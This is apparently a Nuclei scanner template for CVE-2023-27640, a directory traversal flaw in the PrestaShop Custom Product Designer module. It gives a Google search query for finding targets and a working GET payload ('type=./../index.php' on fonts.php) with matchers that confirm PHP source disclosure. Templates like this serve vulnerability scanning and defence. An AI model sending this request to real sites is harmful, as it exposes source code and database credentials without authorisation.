id: CVE-2023-27640

info:
  name: PrestaShop tshirtecommerce - Directory Traversal
  author: MaStErChO
  severity: high
  description: |
    The Custom Product Designer (tshirtecommerce) module for PrestaShop allows HTTP requests to be forged using POST and GET parameters, enabling a remote attacker to perform directory traversal on the system and view the contents of code files.
  impact: |
    Unauthenticated attackers can exploit directory traversal through the type parameter in fonts.php to read arbitrary PHP source code files, potentially exposing database credentials and PrestaShop configuration.
  remediation: |
    Update Custom Product Designer (tshirtecommerce) module to a patched version that validates file paths in fonts.php and prevents directory traversal attacks.
  reference:
    - https://www.cvedetails.com/cve/CVE-2023-27640/
    - https://security.friendsofpresta.org/module/2023/03/30/tshirtecommerce_cwe-22.html
    - https://nvd.nist.gov/vuln/detail/CVE-2023-27640
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2023-27640
    cwe-id: CWE-22
    epss-score: 0.8102
    epss-percentile: 0.99175
    cpe: cpe:2.3:a:tshirtecommerce:custom_product_designer:*:*:*:*:*:prestashop:*:*
  metadata:
    max-request: 1
    vendor: tshirtecommerce
    product: custom_product_designer
    framework: prestashop
    google-query: inurl:"/tshirtecommerce/"
  tags: cve,cve2023,prestashop,tshirtecommerce,lfi,vkev,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/tshirtecommerce/fonts.php?name=2&type=./../index.php"

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(header, "text/html")'
          - 'contains_all(base64_decode(body), "PrestaShop", "<?php")'
        condition: and
# digest: 4a0a00473045022100e9cebf171aa3ce9b45db7091f3ec19b5b4329a3544301abca6b76401b11b631e0220107ea156fed867a0f8d7fb7922f1c423b2fa19be02727aecc11ebebd5947497d:922c64590222798bb761d5b6d8e72950